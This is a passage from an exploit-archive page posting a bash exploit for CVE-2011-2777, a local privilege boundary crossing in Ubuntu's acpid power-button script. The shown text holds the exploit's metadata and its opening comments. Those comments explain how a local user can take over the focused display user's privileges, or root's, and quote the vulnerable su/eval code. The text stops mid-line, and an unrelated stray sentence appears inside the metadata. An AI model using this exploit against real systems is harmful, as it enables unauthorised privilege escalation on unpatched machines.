Home / exploits Acpid Privilege Boundary Crossing
Posted on 10 December 2011
Exploit Title: Acpid Privilege Boundary Crossing Vulnerability Google Dork: Date: 23-11-2011 Author: otr Software Link: https://launchpad.net/ubuntu/+source/acpid Version: 1:2.0.10-1ubuntu2 Tested on: Ubuntu 11.10, Ubuntu 11.04 CVE : CVE-2011-2777 -- Safeguard this letter, it may be an IMPORTANT DOCUMENT #!/bin/bash # # otr # # The following script is executed when pressing the power button on an Ubuntu # 11.10 system. Depending on how far we get in the condition in the code # fragement, it is possible for another user on the local system to gain the # privileges of the user who has the currently focused display running. The # vulnerability only triggers when certain power management programms are not # running, especially kded4 and the programms in the $PMS variable need not to # be running in order for this to be exploitable. # # This exploit would be more reliable when having a way to dos # gnome-power-manager Also it would be more fun one could trick the getXuser # function into setting $XUSER to root. In the case of root being the user on # the active display this exploit turns into a privilege escalation # # Exploitable file /etc/acpi/powerbtn.sh # In original source code line 40 # # -- # PMS="gnome-power-manager kpowersave xfce4-power-manager" # PMS="$PMS guidance-power-manager.py dalston-power-applet" # # if pidof x $PMS > /dev/null || # ( test "$XUSER" != "" && # pidof dcopserver > /dev/null && # test -x /usr/bin/dcop && # /usr/bin/dcop --user $XUSER kded kded loadedModules # | grep -q klaptopdaemon) || # ( test "$XUSER" != "" && # test -x /usr/bin/qdbus && # test -r /proc/$(pidof kded4)/environ && # su - $XUSER -c # "eval $(echo -n 'export '; cat /proc/$(pidof kded4)/environ | # tr '
